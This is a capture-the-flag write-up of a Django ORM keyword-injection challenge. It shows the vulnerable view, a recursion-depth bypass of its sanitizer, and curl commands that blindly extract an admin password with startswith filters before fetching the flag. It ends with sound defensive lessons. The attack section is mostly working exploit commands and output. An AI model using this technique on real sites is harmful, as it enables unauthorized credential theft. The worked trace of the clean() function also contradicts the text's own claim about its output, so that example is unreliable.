

CTF Writeup: ORM Relation Traversal

Django ORM Keyword Injection via Sanitizer Bypass

Author: Senpai

Category: Web / Django ORM

Flag: SK-CERT{0rm_r3l4t10n_tr4v3rs4l_g0t_y0u}

The Application

The target is a Django-based online bookstore running at `http://exp.cybergame.sk:7001`. It has four routes: a homepage, a book details page, a book lookup/search page, and an admin page that returns the flag. The admin page is protected by HTTP Basic Authentication and only accessible to users with the admin role.

Understanding the Vulnerability

The `/book_lookup` endpoint accepts POST requests. Looking at `views.py`:

```
@csrf_exempt
def book_lookup(request):
    if request.method == 'POST':
        filters = {}
        for filter in request.POST:
            if request.POST[filter] == '':
                continue
            try:
                filters[clean(filter)] = request.POST[filter]
            except:
                filters[filter] = request.POST[filter]
        try:
            finds = Book.objects.filter(**filters)
        except Exception:
            return render(request, 'lookup.html')
```

The key problem: it takes the **names** of POST fields (not just the values) and passes them directly into Django's ORM `.filter()` call. Django's ORM uses a special double-underscore (`__`) syntax to traverse model relationships and apply lookups. For example:

```
Book.objects.filter(author__name__icontains="Steve")
# Finds books whose author's name contains "Steve"
```

By controlling field names in the POST request, an attacker can filter on any field of any related model — including sensitive data like passwords.

The Broken Sanitizer

The developer tried to prevent this with the `clean()` function:

```
def clean(filter, depth=0):
    if depth == 25:
        raise RecursionError
    if filter.find('__') != -1:
        return clean(filter.replace('__', '_', 1), depth+1)
    return filter.replace('_', '__', 1)
```

The idea was to prevent `__` traversal by stripping double underscores. Here's what it actually does: it recursively replaces the **first** `__` with a single `_`, one at a time, until none remain — then replaces the **first** single `_` with `__`.

The result: no matter how many `__` are in the input, the output **always has exactly one** `__`. For example:

```
author__user__account__password__startswith
-> author_user_account_password_startswith (depth 0)
-> author_user_account_password_startswith (depth 1)
-> author_user_account_password_startswith (depth 2, no more __)
-> author__user__account__password_startswith (replace first _ with __)
```

Since Django needs multiple `__` to traverse multiple model relationships, this effectively blocks deep traversal to the sensitive `SiteUser` data.

The RecursionError Bypass

Here's the critical flaw: at `depth == 25` the function raises `RecursionError`. The caller catches it with a bare `except:` and falls back to using the original, uncleaned key:

```
try:
    filters[clean(filter)] = request.POST[filter]
except:
    filters[filter] = request.POST[filter] # original key used!
```

So if we can make `clean()` reach depth 25, Django receives our key **completely unmodified**. For that we need 25 or more `__` in our input. But the key must also be a **valid Django ORM lookup** — otherwise Django throws an exception and returns an empty page.

The trick: Django allows **circular relation traversal**. The `Review` model has a `for_book` FK back to `Book`, and `Book` has a `reviews` reverse relation back to `Review`. We can loop back and forth indefinitely:

```
Book -> reviews -> Review -> for_book -> Book -> reviews -> Review -> for_book -> Book -> ...
```

Each `reviews__for_book__` cycle adds 2 double underscores. After 12 cycles we have 24 `__`, and adding `reviews__by_user__password__startswith` at the end adds 3 more — giving us **27 total**, enough to trigger `RecursionError`. And crucially, the full key is a valid Django traversal:

```
reviews__for_book__reviews__for_book__ (x12) reviews__by_user__password__startswith
```

Reconnaissance

From the seed migration file (`0002_seed_data.py`) we learned:

- The admin username is Admin (capital A)
- The password is 32 random alphanumeric characters generated at DB setup time
- The admin left a review on "The Rust Programming Language"

We confirmed the admin is reachable by filtering on their exact username:

```
curl -s -X POST http://exp.cybergame.sk:7001/book_lookup \
  -d "[long_key]__reviews__by_user__username__exact=Admin" | grep -c "book_card"
# Returns 1 -> confirmed
```

Password Extraction

With the bypass working, we can extract the password one character at a time using Django's startswith lookup. If the filter returns a book, the password starts with that prefix. If it returns nothing, it doesn't.

```
# Does the password start with 'a'?
curl -s -X POST http://exp.cybergame.sk:7001/book_lookup \
  -d "[long_key]__reviews__by_user__password__startswith=a" | grep -c "book_card"
```

We automated this with a bash script that tries every character (a-z, A-Z, 0-9) for each position, building up the password one character at a time. After at most 62 requests per character × 32 characters = up to 1,984 requests, the full password was extracted:

```
b5smY0fLCM74HY542T5cVoPWLb9UDExF
```

Getting the Flag

With the admin credentials, we sent an HTTP Basic Auth request to /admin:

```
curl -H "Authorization: Basic $(echo -n 'Admin:b5smY0fLCM74HY542T5cVoPWLb9UDExF' | base64)" \
  http://exp.cybergame.sk:7001/admin
```

Server Response:

```
Congrats, SK-CERT{0rm_r3l4t10n_tr4v3rs4l_g0t_y0u}
```

Challenge server confirming the flag.

Flag

```
SK-CERT{0rm_r3l4t10n_tr4v3rs4l_g0t_y0u}
```

Key Lessons

- **Never pass user-controlled input as ORM filter keyword argument names.** Values are generally safe (Django parameterizes them against SQL injection), but keys are interpreted as query logic.

- **Always use a strict allowlist** of permitted filter fields rather than trying to sanitize arbitrary input.
- The `clean()` function here is a good example of why **blocklist-based sanitization is fragile** — there was a logical bypass hiding in the error handling that completely undermined the entire defense.
- **Bare except: clauses are dangerous** — catching all exceptions without discrimination can silently fall back to unsafe behaviour.